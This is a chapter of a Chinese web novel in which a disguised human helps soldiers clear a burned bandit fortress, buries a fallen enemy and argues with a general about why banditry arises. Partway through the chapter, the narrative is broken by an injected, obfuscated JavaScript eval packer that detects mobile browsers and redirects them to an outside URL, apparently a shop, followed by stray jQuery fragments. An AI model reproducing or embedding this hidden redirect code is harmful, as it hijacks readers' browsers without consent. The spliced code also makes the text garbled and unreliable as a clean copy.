默认冷灰
24号文字
方正启体

9. 燃料

作者:河砂本书字数:K更新时间:
    祁访枫养了几天伤,终于能下床走动。


    她现在住的地方已经不是稻草糊弄的棚屋了,是一栋正经房子,还带了套小院,可不得了。


    房子所在的地区也不得了,正正经经的南街。虽然是街尾角落,但这也是正儿八经的白剑女君领地。


    君华虽然没来看望过她,但热情纯朴的左邻右舍都提着慰问品上门与新邻居寒暄一番,祁访枫全让戚同琴出面应付过去了。


    出于对正牌蛇妖的心虚,祁访枫拉着戚同琴问:“有人发现我的身份吗?”


    戚同琴:“没,你那层鳞片贴得严实,医官也没发现端倪。只说你可能是打小亏空,又受了重伤,心脉和气息比别人弱。”


    祁访枫松了口气:“那就好。”


    鳞片还能伪装,心跳和气息就没办法了,她毕竟还是个人类。


    在鱼龙混杂的棚屋还好,谁都忙着讨生活,没人会去仔细听路边瘦小“蛇妖”的心跳和气息,但在南街就不一样了。


    虽说南街的妖口没有棚屋密集,但它固定不流动。再加上白剑女君神通广大,南街活像个乱世里的桃花源,智慧生物吃饱了就撑,安稳了就闲,祁访枫暴露的风险反而增加不少。


    左思右想之下,祁访枫决定回军营。


    这么想着,门又被敲响了。


    戚同琴蹦下去,三步并作两步地去开门:“谁啊!”


    禄生长官从门后探出个脑袋,挤进屋子里,手上拎着一只小箱:“祁姑娘在吗?这是她的赏钱!”


    祁访枫凑过来,箱子里是整整齐齐的一千钱。


    在东莲王治下,一座带小院、靠近王城的房子也就五千钱,这是一笔巨款了。祁访枫美滋滋地收下了,这是她应得的。


    见她收了,禄生默默松了口气。她临走前,李主簿千叮咛万嘱咐一定要盯着祁姑娘把奖赏收下,不能赏罚不明。


    小军官又交给她一个匣子,里面是一把环首刀。


    祁访枫看了看刀,又看了看禄生:“一把?”


    禄生绷着脸,点头。


    祁访枫想了想,恍然大悟,有些尴尬地把匣子塞柜子上了。


    本该赏两把,但送来的只有一把,那另一把呢?


    祁访枫藏在棚屋压箱底的刀过了明路了。


    可能是李主簿去找人时发现的,恪守教条的老古板捏着鼻子给她扫尾,也可能是戚同琴考虑到自己家和官面上的人走得进,趁机消了隐患……


    祁访枫问:“我还能回去做事吗?”


    禄生一愣,不太确定地看着她:“你还要回军营?”


    都搭上白剑女君的路子了,安安稳稳在南街寻点活计,官吏不敢欺压,流寇不敢打扰,非去军营混什么?


    祁访枫更小心地:“我想,能吗?”


    禄生古怪道:“能。”


    祁访枫松了口气,揣上行囊义正言辞:“我爱军营,我就住那了!”


    禄生一言难尽,她无助地看了看戚同琴。


    女妖:“管不住,别看我。”


    祁访枫已经溜远了。


    禄生一抹脸,苦命地追上去。


    城郊军营,今天驻守营门的还是祁访枫的熟人,她举手打了招呼:“早上好,你伤好了没?”


    先前质疑过她的守门士兵见了她就是一愣,欲言又止,又一脸羞愤地别开脸,默默给她放行。


    祁访枫:“唉,傲娇退环境了。”


    士兵没听懂,恶声恶气地:“快进去!”


    祁访枫溜进去了。


    南荣将军正在整军,几个士兵身上还缠着细布,零星的芦柴棒还在忙里忙外地做杂活。


    “你来了。”南荣将军见了她倒没多诧异,反而招呼道,“我们要去扫尾,你要参加吗?”


    上司的上司发话,小小牛马哪敢不从。


    还是那片水寨,一场油泼大火,一夜秋雨。那曾经令军队头疼的寨子只剩残断的竹架木梁,烧成了一片黑炭,几具焦尸横七竖八地搭在断壁残垣上。


    水面上淡淡发红,游鱼露着坦荡而令人恶寒的饱腹。


    士兵们上前,铲掉刨掉残存的寨子,把尸体就地掩埋。南荣将军身先士卒,参与到了收尾行动中,祁访枫也没好意思站着,开始撬黏成一片的地板。


    碳化的建筑发脆,黑黢黢一块敲下来,让祁访枫有了奇妙的联想。


    南荣将军见她发呆:“你累了就去休息,重伤未愈者可以不参加。”


    祁访枫:“不累,就是想到些事。”


    在她曾经生活过的时代,煤炭已经不见踪迹了。那是一种在教科书上才能看见的事物。或者去博物馆,隔着罩子观赏那一小块漆黑的燃料。


    那是更早以前,有着充裕氧气、繁盛植物的时代,生物被层层压下,数万年积蓄而来的火焰。


    祁访枫想,这也算一种煤炭吗?


    她掀起那块地板,也不知道撬到了哪个结点,一大片烧焦的建筑连贯倒塌了。


    祁访枫:……


    啊哦,矿洞塌方了捏。


    这寨子坏得要死,特地吊着一口气陷害她!


    祁访枫可怜兮兮地看向南荣将军。


    将军就笑话她,没骂人。


    祁访枫默默继续铲煤炭,这座水寨已经看不出大致结构了,除了一个地方,箭楼。


    那还保留着基础形状,大抵是因为主事人看重它的战略军事作用,对其反复进行了加固。


    箭楼的一个窗口趴着一具焦黑死尸,它半个身子都在外面,手被和一把弓箭烧黏在一起。


    莫名地,祁访枫肩膀有些疼。


    她想起了那支箭。


    祁访枫上前,铲掉那具焦尸,尸体翻了个个儿,它的面目依稀还清晰。


    ……是邱二当家。


    她怎么在这?


    祁访枫有些茫然,心口莫名发闷,沉默一阵后,她问南荣将军:“我肩上的箭是白剑女君射的吗?”


    “……你怎么会这么想?”


    “我当时跳出水寨,如果不是那一箭把我扎进水里,我就该摔个稀巴烂了。”祁访枫说。


    南荣将军思索一会:“不是白剑,如果是她想接你,不需要用箭。她赶来时你已经掉进水里了。”


    “也不会是我的士兵。”将军说,“我们当时都打累了,没有那把子力气。”


    祁访枫又看向邱二当家的尸体。


    千万年后,她会化作煤炭吗?


    太渺小了,不会的。


    她恨或怨她吗?她想杀她还是想救她?烈火焚身的痛苦下,拼了命在寨中奔跑时,设出那一箭时,她在想什么呢?


    燃料不会说话。


    祁访枫带着它下了箭楼,来到平地上,用力地挥动铲子,挖出一个大坑。


    水寨,土匪,士兵,芦柴棒,一并埋进土里。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437271|200977||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不远处传来窸窸窣窣的声响,祁访枫看去,几个瑟缩可怜的流民正探头探脑,接触到她的目光又吓得跌坐在地,呜呜咽咽地哭了。


    几个士兵闻声而来,祁访枫拔高了声音:“你们干什么的!”


    士兵把那几个流民拎出来,放在了祁访枫面前。他们瑟瑟发抖,像一窝淋湿的鸟雀。


    鸟雀们哭着,颠三倒四地说明来意。


    他们说,他们原是流民,被棚屋人排挤,抢也抢不过,又不想死。水寨大当家心善,收留他们做了佃户,好歹活下来了。


    听说啊,大当家正在和人谈生意,换米换油,还有许多牲畜。她是要分给将士们的,但如果有宽裕,她也愿意分给山寨的农人们。


    佃户是最底层,分到他们头上时相比不剩多少了。可好歹是有的,肉不敢奢求,一小袋米也好,这么多就够……


    那鸟雀比划了个大小,似乎还沉浸在设想中,忘记已经没有能给她分粮食的人了,她兀自地觉得不妥,又比划了个更小的范围,说,这样就够。


    祁访枫就看着他们,直到鸟雀幡然醒悟,发现那可供栖息的檐子被烧没了。她欲哭无泪,只是说:“小人没那个当家的本事,只是想着,原先的田没种好,就回来看看,要是还能种……”


    鸟雀没能说很久,士兵把他们驱赶走了。


    他们一步三回头,泪眼婆娑地用目光搜寻着曾经的田地,然后别过身去,擦擦眼泪,一瘸一拐地相互搀扶着,低声说些什么,走向密林里。


    祁访枫握着铲子,身边有个大土坑,雨水淋得土地湿软,似乎生机勃勃得能冒出点芽儿来。


    南荣将军问她:“你在不忍吗?”


    祁访枫反问她:“我不能吗?”


    南荣将军说:“年轻人,脾气别那么坏。你当然能。但是你要知道,这样义薄云天的‘好’寨子是少数。更多的山寨是土匪盘踞,凶神恶煞,无恶不作的。”


    祁访枫说:“那么,哪怕是那些恶寨子,它们又为何出现?不谈天生凶恶、嫉善如仇的那些,更多的寨子为什么出现?凡是能拿着锄头的,没有几个人愿意去拿刀,不是吗?”


    “……你说这些,想做什么?又能做什么?”将军语气无奈。


    祁访枫笑了,眼里却没什么笑意,只是嘴角轻轻一提:“将军,你看。你说不过我,开始给我出难题。用我无法解决的更难题来搪塞你因不喜欢答案就不回答的问题。”


    “……”


    “将军,我是做不了什么,但至少让我有生气的资格吧。”


    “……有用吗?”


    “有个念想。将军,我听过一句话,叫念念不忘,必有回响。或许有一天,我的念想也有回响。若没有也罢,它至少能别让我变成水寨的一部分,无论是拿刀的,还是刀下的。”


    “那你的念想是什么?”


    “现在我还不知道,我只是觉得很生气。”祁访枫用力地掼下铲子,挖起土壤,扬到身后。


    她在挖一个坟墓,埋葬一个流寇。


    好人?坏人?生命长度几何,厚度几何?


    无人知晓。


    等一个冬天,南方的土壤也被冻严实,把一切都封存。再等到来年春天,会有真正的鸟雀飞来,把巢穴筑在密林里,啁啾叫着,把这片土地催出草芽来。


    若草愿意开花,那么祁访枫大抵有了能询问的对象。


    哪怕花与草皆不回答。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)